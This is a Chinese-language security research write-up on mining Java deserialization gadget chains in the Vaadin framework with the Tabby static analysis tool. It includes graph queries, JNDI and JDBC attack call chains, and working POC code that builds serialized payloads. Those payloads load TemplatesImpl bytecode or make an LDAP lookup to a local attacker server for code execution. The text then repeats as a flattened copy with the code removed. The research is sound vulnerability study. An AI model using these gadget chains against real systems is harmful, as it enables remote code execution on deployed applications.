vaadin反序列化链挖掘:tabby静态分析实践
字数 1567 2025-08-29 08:30:24

Vaadin反序列化链挖掘与Tabby静态分析实践

前言

本文详细分析Vaadin框架中的反序列化漏洞利用链,结合Tabby静态分析工具进行挖掘实践。内容包括Vaadin框架中存在的多种恶意getValue方法、Tabby工具的使用方法、多种利用链的构造方式以及相关POC实现。

Tabby工具基础

Tabby是一款静态分析工具,用于Java反序列化漏洞的挖掘:

  • 安装与基础使用参考:wh1t3p1g的文档
  • 核心功能:构建代码属性图(CPG)并分析数据流

恶意getValue方法分析

Vaadin反序列化链的核心是寻找恶意的getValue方法,能够触发:

  • 任意方法调用
  • JNDI注入攻击
  • JDBC攻击

Tabby查询语句

查找恶意getValue方法的查询语句:

match (source:Method {NAME: 'getValue'})  
match (sink:Method {IS_SINK: true})  
CALL tabby.algo.findPath(source, '>', sink, 5, false) yield path  
RETURN path

已知恶意getValue类

  1. com.vaadin.data.util.NestedMethodProperty#getValue

    • 原始Vaadin反序列化链使用的类
    • 通过反射调用任意getValue方法
  2. com.vaadin.data.util.MethodProperty#getValue

    • 更简洁的实现
    • 直接反射调用getMethod属性中的方法

全链条查询方法

JNDI相关链查询

match (source:Method {NAME: 'toString'})  
match (sink:Method {IS_SINK: true, VUL: 'JNDI'})  
CALL apoc.algo.allSimplePaths(source, sink, 'ALIAS|CALL>', 15) yield path  
RETURN path

查询结果包含多条通路,可触发:

  • JDBC连接
  • lookup调用
  • JDBC attack
  • JNDI注入攻击

典型调用链示例

  1. JDBC攻击链:
xx.readObject
  -> invoke toString
    -> PropertysetItem#toString
      -> AbstractSelect#getValue
        -> SQLContainer#ContainsId
          -> TableQuery#containsRowWithKey
            -> SimpleJDBCConnectionPool#reserveConnection
              -> SimpleJDBCConnectionPool#createConnection
                -> DriverManager.getConnection
                  -> JDBC attack
  1. JNDI注入链:
xx.readObject
  -> invoke toString
    -> PropertysetItem#toString
      -> AbstractSelect#getValue
        -> SQLContainer#ContainsId
          -> TableQuery#containsRowWithKey
            -> J2EEConnectionPool#reserveConnection
              -> InitialContext#lookup

MethodProperty利用分析

com.vaadin.data.util.MethodProperty类提供了更灵活的利用方式。

getValue方法实现

public Object getValue() {
    if (instance != null) {
        return ReflectTools.invokeMethod(instance, getMethod, getArgs);
    }
    return null;
}

构造函数分析

  1. 两参数构造函数:

    • 参数:instance, beanPropertyName
    • 自动处理属性名(首字母大写)
    • 通过initGetterMethod获取可调用的Method
    • 可调用getter/is/are方法
  2. 七参数构造函数:

    • 参数:type, instance, getMethod, setMethod, getArgs, setArgs, readOnly
    • 直接反射获取方法列表
    • 比对传入的getMethodName和type
    • 无getter方法限制
  3. 直接赋值构造函数:

    • 最灵活的构造方式

POC实现

Way1: 调用getter方法

TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates,"_bytecodes",new byte[][]{getTemplates()});
setFieldValue(templates, "_name", "test");
setFieldValue(templates, "_tfactory", null);

PropertysetItem pItem = new PropertysetItem();
MethodProperty<Object> methodProperty = new MethodProperty<>(templates, "outputProperties");
pItem.addItemProperty("test",methodProperty);

BadAttributeValueExpException badAttributeValueExpException=new BadAttributeValueExpException("test");
setFieldValue(badAttributeValueExpException,"val",pItem);

Way2: 调用任意方法

TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates,"_bytecodes",new byte[][]{getTemplates()});
setFieldValue(templates, "_name", "test");
setFieldValue(templates, "_tfactory", null);

PropertysetItem pItem = new PropertysetItem();
Method getOutputProperties = templates.getClass().getDeclaredMethod("getOutputProperties");
MethodProperty methodProperty = new MethodProperty<>(Properties.class, templates, getOutputProperties, 
    null, new Object[0], new Object[0], -1);
pItem.addItemProperty("test",methodProperty);

BadAttributeValueExpException badAttributeValueExpException=new BadAttributeValueExpException("test");
setFieldValue(badAttributeValueExpException,"val",pItem);

FileInputStream参数可控

com.vaadin.data.util.TextFileProperty#getValue

  • 直接使用file属性读取文件
  • file属性完全可控
  • 实现简单直接:
public Object getValue() {
    try {
        return FileUtils.readFileToString(file);
    } catch (IOException e) {
        throw new RuntimeException(e);
    }
}

JDBC攻击实现

利用J2EEConnectionPool#reserveConnection

  1. 调用链:
reserveConnection 
  -> getDataSource 
    -> lookupDataSource
  1. 当dataSource属性不为空时:
DataSource#getConnection 
  -> JDBC attack

POC代码

String command = "ldap://127.0.0.1:1389/TomcatEL/Command/calc";
SharedPoolDataSource dataSource = new SharedPoolDataSource();
dataSource.setDataSourceName(command);
J2EEConnectionPool j2EEConnectionPool = new J2EEConnectionPool(dataSource);

TableQuery tableQuery = (TableQuery) ReflectionUtil.createWithoutConstructor("com.vaadin.data.util.sqlcontainer.query.TableQuery");
ReflectionUtil.setFieldValue(tableQuery, "primaryKeyColumns", new ArrayList<>());
ReflectionUtil.setFieldValue(tableQuery, "sqlGenerator", new DefaultSQLGenerator());
ReflectionUtil.setFieldValue(tableQuery, "connectionPool", j2EEConnectionPool);

Constructor<SQLContainer> sqlContainerConstructor = SQLContainer.class.getDeclaredConstructor();
sqlContainerConstructor.setAccessible(true);
SQLContainer sqlContainer = sqlContainerConstructor.newInstance();
ReflectionUtil.setFieldValue(sqlContainer, "queryDelegate", tableQuery);

NativeSelect nativeSelect = new NativeSelect();
RowId rowId = new RowId();
ReflectionUtil.setFieldValue(nativeSelect, "value", rowId);
ReflectionUtil.setFieldValue(nativeSelect, "items", sqlContainer);
ReflectionUtil.setFieldValue(nativeSelect, "multiSelect", true);

PropertysetItem propertysetItem = new PropertysetItem();
propertysetItem.addItemProperty("test", nativeSelect);

BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException("test");
ReflectionUtil.setFieldValue(badAttributeValueExpException, "val", propertysetItem);

Tabby工具的限制

  1. 数据流分析缺陷:

    • 无法处理J2EEConnectionPool#reserveConnectionSimpleJDBCConnectionPool#reserveConnection方法
    • 当达到sink点时参数未被污染的情况无法检测
  2. 连续调用问题:

    • 无法正确处理getDataSource().getConnection()这类连续调用
    • 导致JDBC attack等场景无法被检测到

总结

  1. Vaadin框架中存在多种恶意getValue方法
  2. Tabby工具能有效辅助发现潜在利用链
  3. MethodProperty类比NestedMethodProperty更灵活易用
  4. 除传统JNDI注入外,还存在JDBC攻击等利用方式
  5. 静态分析工具存在一定局限性,需结合人工分析

参考

  1. Vaadin New Gadgets分享 - 先知社区
  2. Tabby使用文档
  3. Vaadin反序列化分析
Vaadin反序列化链挖掘与Tabby静态分析实践 前言 本文详细分析Vaadin框架中的反序列化漏洞利用链,结合Tabby静态分析工具进行挖掘实践。内容包括Vaadin框架中存在的多种恶意getValue方法、Tabby工具的使用方法、多种利用链的构造方式以及相关POC实现。 Tabby工具基础 Tabby是一款静态分析工具,用于Java反序列化漏洞的挖掘: 安装与基础使用参考: wh1t3p1g的文档 核心功能:构建代码属性图(CPG)并分析数据流 恶意getValue方法分析 Vaadin反序列化链的核心是寻找恶意的getValue方法,能够触发: 任意方法调用 JNDI注入攻击 JDBC攻击 Tabby查询语句 查找恶意getValue方法的查询语句: 已知恶意getValue类 com.vaadin.data.util.NestedMethodProperty#getValue 原始Vaadin反序列化链使用的类 通过反射调用任意getValue方法 com.vaadin.data.util.MethodProperty#getValue 更简洁的实现 直接反射调用getMethod属性中的方法 全链条查询方法 JNDI相关链查询 查询结果包含多条通路,可触发: JDBC连接 lookup调用 JDBC attack JNDI注入攻击 典型调用链示例 JDBC攻击链: JNDI注入链: MethodProperty利用分析 com.vaadin.data.util.MethodProperty 类提供了更灵活的利用方式。 getValue方法实现 构造函数分析 两参数构造函数: 参数:instance, beanPropertyName 自动处理属性名(首字母大写) 通过initGetterMethod获取可调用的Method 可调用getter/is/are方法 七参数构造函数: 参数:type, instance, getMethod, setMethod, getArgs, setArgs, readOnly 直接反射获取方法列表 比对传入的getMethodName和type 无getter方法限制 直接赋值构造函数: 最灵活的构造方式 POC实现 Way1: 调用getter方法 Way2: 调用任意方法 FileInputStream参数可控 com.vaadin.data.util.TextFileProperty#getValue : 直接使用file属性读取文件 file属性完全可控 实现简单直接: JDBC攻击实现 利用 J2EEConnectionPool#reserveConnection : 调用链: 当dataSource属性不为空时: POC代码 Tabby工具的限制 数据流分析缺陷: 无法处理 J2EEConnectionPool#reserveConnection 和 SimpleJDBCConnectionPool#reserveConnection 方法 当达到sink点时参数未被污染的情况无法检测 连续调用问题: 无法正确处理 getDataSource().getConnection() 这类连续调用 导致JDBC attack等场景无法被检测到 总结 Vaadin框架中存在多种恶意getValue方法 Tabby工具能有效辅助发现潜在利用链 MethodProperty类比NestedMethodProperty更灵活易用 除传统JNDI注入外,还存在JDBC攻击等利用方式 静态分析工具存在一定局限性,需结合人工分析 参考 Vaadin New Gadgets分享 - 先知社区 Tabby使用文档 Vaadin反序列化分析